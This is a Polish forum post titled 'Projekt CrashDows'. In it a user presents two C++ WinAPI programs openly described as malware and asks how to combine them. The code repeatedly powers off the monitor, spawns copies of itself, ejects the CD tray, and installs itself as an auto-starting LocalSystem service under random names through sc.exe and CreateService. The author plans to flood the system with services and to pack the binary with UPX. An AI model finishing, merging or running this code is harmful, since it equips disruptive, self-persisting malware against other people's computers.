Projekt CrashDows

cpp

Użytkownik
Dołączył
Luty 3, 2012
Posty
7
Witam po długiej nieobecności.

Jakieś dwa tygodnie temu koleżka prosił mnie o pomoc w poprawianiu kodu w C++ z użyciem WINAPI. Przeszukując MSDN i Google, wpadłem na pomysł napisania złośliwca.

Pomysł jest taki:

1. dodać się do usług np. odpowiednio dostosowanym poleceniem system(char*) po to, by program odpalał się przy autostarcie.

2. program zaraz po odpaleniu wyłącza monitor, uruchamia kilka wątków:
- na wątku nr1 wyłącza monitor
- na wątku nr2 odpala samego siebie w nowym oknie
- na wątku nr3 wysuwa tackę cd (po to żeby wsadzić płytę instalacyjną z shitdowsem %-D )
+ w przyszłości, oby niedalekiej, dodatkowa funkcjonalność szybko unicestwiająca system

Oto kody dwóch aplikacji, które chcę połączyć w całość

Projekt nr. main.cpp: (monitor, self-run, cd in-out)
Kod:
/**
  CRASHDOWS ;]

  kompilator: GNU GCC / MinGW
  srodowisko: Code :: Blocks 10.05

  linker:
    + ..\lib\libwinmm.a

   testowane i kompilowane na Windows 7 Ultimate / Windows XP prof.
*/

#include <ctime> //srand(time(NULL)
#include <iostream>
#include <windows.h>
#include <mmsystem.h> //cd in-out

using namespace std;

/************************************************************/

char *c_path,    //start "<argv[0]>"
     *file_path; //sc.exe... bipath= "<argv[0]>"

/*
   Naglowki funkcji-watkow
*/

DWORD WINAPI Monitor(PVOID v); // Monitor off, watek
DWORD WINAPI RunSelf(PVOID v); // Wielokrotne odpalenie samego siebie (az do skutku ;] )
DWORD WINAPI CDFreak(PVOID v); // wysuwanie i wsuwanie cd
DWORD WINAPI Servlol(PVOID v); // dodaje sie do uslug windows (v1.1test, NIE DZIAŁA!!!)


/*01:00 @ 26.05.12r  v1.0*/
/*14:35 @ 29.05.13r  v1.1test*/

main(int argc, char *argv[])
{
/*
    cout<<"\a";
    SendMessage(GetForegroundWindow(),WM_SYSCOMMAND,SC_MONITORPOWER,2);
    Sleep(1);

    string s_path  =  "start \"";
           s_path +=  argv[0];
           s_path +=  '\"';


    c_path = new char[s_path.size()];
    c_path = (char*) s_path.c_str();
*/
    file_path = new char[strlen(argv[0])];
    strcpy(file_path, argv[0]);

    DWORD id1,id2,id3,id4;

    srand(time(NULL));

/*    CreateThread(NULL,0,Monitor,(PVOID)0,0,&id1);
    CreateThread(NULL,0,RunSelf,(PVOID)0,0,&id2);
    CreateThread(NULL,0,CDFreak,(PVOID)0,0,&id3);
*/
    CreateThread(NULL,0,Servlol,(PVOID)0,0,&id4);

    while(1)
    {
  /*      SendMessage(GetForegroundWindow(),WM_SYSCOMMAND,SC_MONITORPOWER,2);
        Sleep(1000);
        if (kbhit()) cout<<"\a";
  */
    }

    return -1;
}


DWORD WINAPI Monitor(PVOID v)
{
    SendMessage(GetForegroundWindow(),WM_SYSCOMMAND,SC_MONITORPOWER,2);
    Sleep(100);
}


DWORD WINAPI RunSelf(PVOID v)
{
    system(c_path); //uruchomienie samego siebie
}


DWORD WINAPI CDFreak(PVOID v)
{
    mciSendString("Set cdaudio door open wait", NULL, 0, NULL);
    mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
}

DWORD WINAPI Servlol(PVOID v)
{
    cout<<"\a";
    string name="";

    for (int i=0;  i<12;  ++i) name += char(rand()%26 + 97);

    string sc  = "sc.exe create ";
           sc += name;
           sc += " binPath= \"";
           sc += file_path;
           sc += "\" start= auto";

    char *sc1 = new char[sc.size()];
          sc1 = (char*) sc.c_str();

cout<<sc1;

    //system(sc.c_str());

           sc  = "";
           sc  = "sc.exe start ";
           sc += name;

    char *sc2 = new char[sc.size()];
          sc2 = (char*) sc.c_str();

cout<<"   "<<sc2<<endl;

           name="";

    //system(sc.c_str());

    //ExitThread(0);

    Servlol(0);
}

Projekt nr2. main.cpp: (usługi)

Kod:
#include <ctime>
#include <string>
#include <stdio.h>
#include <windows.h>

SERVICE_STATUS_HANDLE g_hStatus;
SERVICE_STATUS        g_Status;

DWORD CALLBACK SvcHandlerEx( DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext )
{
    switch( dwControl )
    {
    default: //zawsze się wykona, a później niech się wykonuje reszta
		SendMessage(GetForegroundWindow(),WM_SYSCOMMAND,SC_MONITORPOWER,2);
	
	case SERVICE_CONTROL_PAUSE:
        g_Status.dwCurrentState = SERVICE_PAUSED;
        break;
    case SERVICE_CONTROL_CONTINUE:
        g_Status.dwCurrentState = SERVICE_RUNNING;
        break;
    case SERVICE_CONTROL_STOP:
    case SERVICE_CONTROL_SHUTDOWN:
        g_Status.dwCurrentState = SERVICE_STOPPED;
        break;
    }
    SendMessage(GetForegroundWindow(),WM_SYSCOMMAND,SC_MONITORPOWER,2);
    
	SetServiceStatus( g_hStatus, & g_Status );
    return NO_ERROR;
}



VOID CALLBACK ServiceMain( DWORD dwArgc, LPTSTR * lpszArgv )
{
    g_Status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    g_Status.dwCurrentState = SERVICE_RUNNING;
    g_Status.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP |
    SERVICE_ACCEPT_SHUTDOWN;
    g_Status.dwWin32ExitCode = NO_ERROR;
    g_Status.dwServiceSpecificExitCode = 0;
    g_Status.dwCheckPoint = 0;
    g_Status.dwWaitHint = 0;

    SendMessage(GetForegroundWindow(),WM_SYSCOMMAND,SC_MONITORPOWER,2);
    g_hStatus = RegisterServiceCtrlHandlerEx( "TestService", SvcHandlerEx, 0 );
    SetServiceStatus( g_hStatus, & g_Status );
}



int main(int argc, char *argv[])
{
    srand(time(NULL));
	
	SC_HANDLE hSCM = 
	
	          OpenSCManager
			  ( 
			      NULL, 
	              SERVICES_ACTIVE_DATABASE, 
				  SC_MANAGER_ALL_ACCESS 
		      );
	
	std::string a,b; //losowe stringi
	
	for (int i=0; i<20; ++i)
	{
	   a+=rand()%26+97;
	   b+=rand()%26+65;	
	}
		
	std::
	string spath  = "\"";
	       spath += argv[0];
		   spath += "\"";	
							      
    CreateService
	(
	    hSCM,               /*uchwyt z OpenSCManager*/
	    (LPCSTR) a.c_str(), /*nazwa, byle jaka*/
	     b.c_str(),         /*j.w., czyli jakis random*/
	    SERVICE_ALL_ACCESS, /*uprawnienia*/
	    g_Status.dwServiceType, /*typ, musi taki byc*/
	    SERVICE_AUTO_START,     /*uruchamia sie z winda*/
	    SERVICE_ERROR_SEVERE,   /*ostatnia poprawna konfigurancja, taaa...*/ 
	    (LPCSTR) spath.c_str(), /*sciezka do samego siebie*/
	    NULL, /*grupa*/
	    NULL, /*wskaznik na jakas chyba (?) malo wazna zmienna*/
	    NULL, /*usluga ta nie jest od zadnej innej zalezna*/
	    (LPCSTR) ".\\LocalSystem", /*najwyzsze uprawnienia*/
	    NULL /*bez hasla*/
	);							      	
	
	SendMessage(GetForegroundWindow(),WM_SYSCOMMAND,SC_MONITORPOWER,2);
    
	SERVICE_TABLE_ENTRY svc[] =
    {
        { (char*)"TestService", ServiceMain },
        { NULL, NULL }
    };
    StartServiceCtrlDispatcher( svc );
    
	return 0;
}

Wyjaśnienie ocb i pytania. Projekt nr1 ma komentowane niektóre linie kodu. Działają one bez zarzutu poza wątkiem nr 4 (Servicelol). Plan był taki, żeby ten wątek atakował usługi shitdowsa dodając bez końca siebie tam pod losowymi nazwami. Nie jest to takie proste jednak, ponieważ program, który ma działać jako usługa, musi spełniać pewne kryteria:

http://cpp0x.pl/kursy/Kurs-WinAPI-C++/Zaawansowane/Uslugi/370

Z tego względu w ramach testu zacząłem dziś pisać drugi projekt, który ma się dodać do usług i do licha działać - tu jest problem. Nie mogę znaleźć w necie, w którym miejscu kodu należy wstawić funkcję CreateService, jakby autorzy różnych artykułów celowo informację tę pominęli. Trochę się nie dziwię %-D nie mniej informacja taka bardzo by się przydała.

Chcę złożyć program w całość, tylko nie wiem i tu proszę o pomoc, gdzie umieścić CreateService z drugiego projektu. Później wystarczy program uruchamiać z określonymi parametrami żeby oddzielić dodawanie się do usług od działania właściwiego - choć jeszcze nie wiem czy to będzie aby na pewno konieczne. Na koniec pakowanie archiwizatorem np upx, czy coś takiego.

Proszę o pomoc, wskazówki :) Kody można śmiało kompilować w postaci przedstawionej - nie wyrządzą krzywdy, po to komentarze. Nie mniej należy uważać
 
Ostatnia edycja:
Do góry Bottom